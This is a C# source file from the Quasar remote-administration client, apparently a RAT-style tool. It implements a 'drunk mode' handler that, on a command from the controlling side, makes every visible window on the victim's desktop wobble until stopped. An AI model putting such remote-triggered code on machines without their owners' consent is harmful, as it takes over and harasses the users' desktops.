109 lines
3.9 KiB
C#
109 lines
3.9 KiB
C#
using Quasar.Common.Messages;
|
|
using Quasar.Common.Networking;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Runtime.InteropServices;
|
|
using System.Threading;
|
|
|
|
namespace Quasar.Client.Messages
|
|
{
|
|
public class DrunkModeHandler : IMessageProcessor, IDisposable
|
|
{
|
|
[DllImport("user32.dll")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
|
|
[DllImport("user32.dll")] static extern bool IsWindowVisible(IntPtr hWnd);
|
|
[DllImport("user32.dll")] static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
|
|
[DllImport("user32.dll")] static extern bool SetWindowPos(IntPtr hWnd, IntPtr hAfter, int X, int Y, int cx, int cy, uint uFlags);
|
|
[DllImport("user32.dll")] static extern int GetWindowLong(IntPtr hWnd, int nIndex);
|
|
|
|
delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
struct RECT { public int Left, Top, Right, Bottom; }
|
|
|
|
const uint SWP_NOSIZE = 0x0001;
|
|
const uint SWP_NOZORDER = 0x0004;
|
|
const uint SWP_NOACTIVATE = 0x0010;
|
|
const uint SWP_NOSENDCHANGING = 0x0400;
|
|
const int GWL_STYLE = -16;
|
|
const int WS_MAXIMIZE = 0x01000000;
|
|
const int WS_MINIMIZE = 0x20000000;
|
|
|
|
private Thread _thread;
|
|
private volatile bool _running;
|
|
|
|
public bool CanExecute(IMessage message) => message is DoStartDrunkMode || message is DoStopDrunkMode;
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
|
{
|
|
if (message is DoStartDrunkMode) Start();
|
|
else if (message is DoStopDrunkMode) Stop();
|
|
}
|
|
|
|
private void Start()
|
|
{
|
|
if (_running) return;
|
|
_running = true;
|
|
_thread = new Thread(DrunkLoop) { IsBackground = true };
|
|
_thread.Start();
|
|
}
|
|
|
|
private void Stop()
|
|
{
|
|
_running = false;
|
|
}
|
|
|
|
private void DrunkLoop()
|
|
{
|
|
try
|
|
{
|
|
// snapshot all moveable windows and their original positions
|
|
var origX = new Dictionary<IntPtr, int>();
|
|
var origY = new Dictionary<IntPtr, int>();
|
|
|
|
EnumWindows((hWnd, _) =>
|
|
{
|
|
if (!IsWindowVisible(hWnd)) return true;
|
|
int style = GetWindowLong(hWnd, GWL_STYLE);
|
|
if ((style & WS_MAXIMIZE) != 0 || (style & WS_MINIMIZE) != 0) return true;
|
|
RECT r;
|
|
if (GetWindowRect(hWnd, out r))
|
|
{
|
|
origX[hWnd] = r.Left;
|
|
origY[hWnd] = r.Top;
|
|
}
|
|
return true;
|
|
}, IntPtr.Zero);
|
|
|
|
double t = 0;
|
|
while (_running)
|
|
{
|
|
int xOff = (int)(Math.Sin(t * 0.9) * 35);
|
|
int yOff = (int)(Math.Sin(t * 0.55 + 1.3) * 20);
|
|
|
|
foreach (var hWnd in origX.Keys)
|
|
{
|
|
SetWindowPos(hWnd, IntPtr.Zero,
|
|
origX[hWnd] + xOff, origY[hWnd] + yOff,
|
|
0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING);
|
|
}
|
|
|
|
t += 0.05;
|
|
Thread.Sleep(20);
|
|
}
|
|
|
|
// restore all windows to their original positions
|
|
foreach (var hWnd in origX.Keys)
|
|
{
|
|
SetWindowPos(hWnd, IntPtr.Zero,
|
|
origX[hWnd], origY[hWnd],
|
|
0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING);
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
public void Dispose() => Stop();
|
|
}
|
|
}
|